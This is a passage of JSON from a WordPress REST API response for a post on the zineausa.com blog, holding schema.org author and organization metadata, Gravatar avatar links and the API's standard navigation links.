LLC"},"image":{"@id":"https:\/\/zineausa.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/zineausa\/","https:\/\/x.com\/ZineaLLC"]},{"@type":"Person","@id":"https:\/\/zineausa.com\/blog\/#\/schema\/person\/e3c58d4f0650f7fb571c01fcf836b1d0","name":"Zinea","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/81f66095634a4c974693824dc72cd0db7c7c44910d60dda2d1bf1be275ee107d?s=96&d=mm&r=g","caption":"Zinea"}}]}},"_links":{"self":[{"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/posts\/129","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/comments?post=129"}],"version-history":[{"count":6,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/posts\/129\/revisions"}],"predecessor-version":[{"id":150,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/posts\/129\/revisions\/150"}],"wp:attachment":[{"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/media?parent=129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/categories?post=129"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zineausa.com\/blog\/wp-json\/wp\/v2\/tags?post=129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}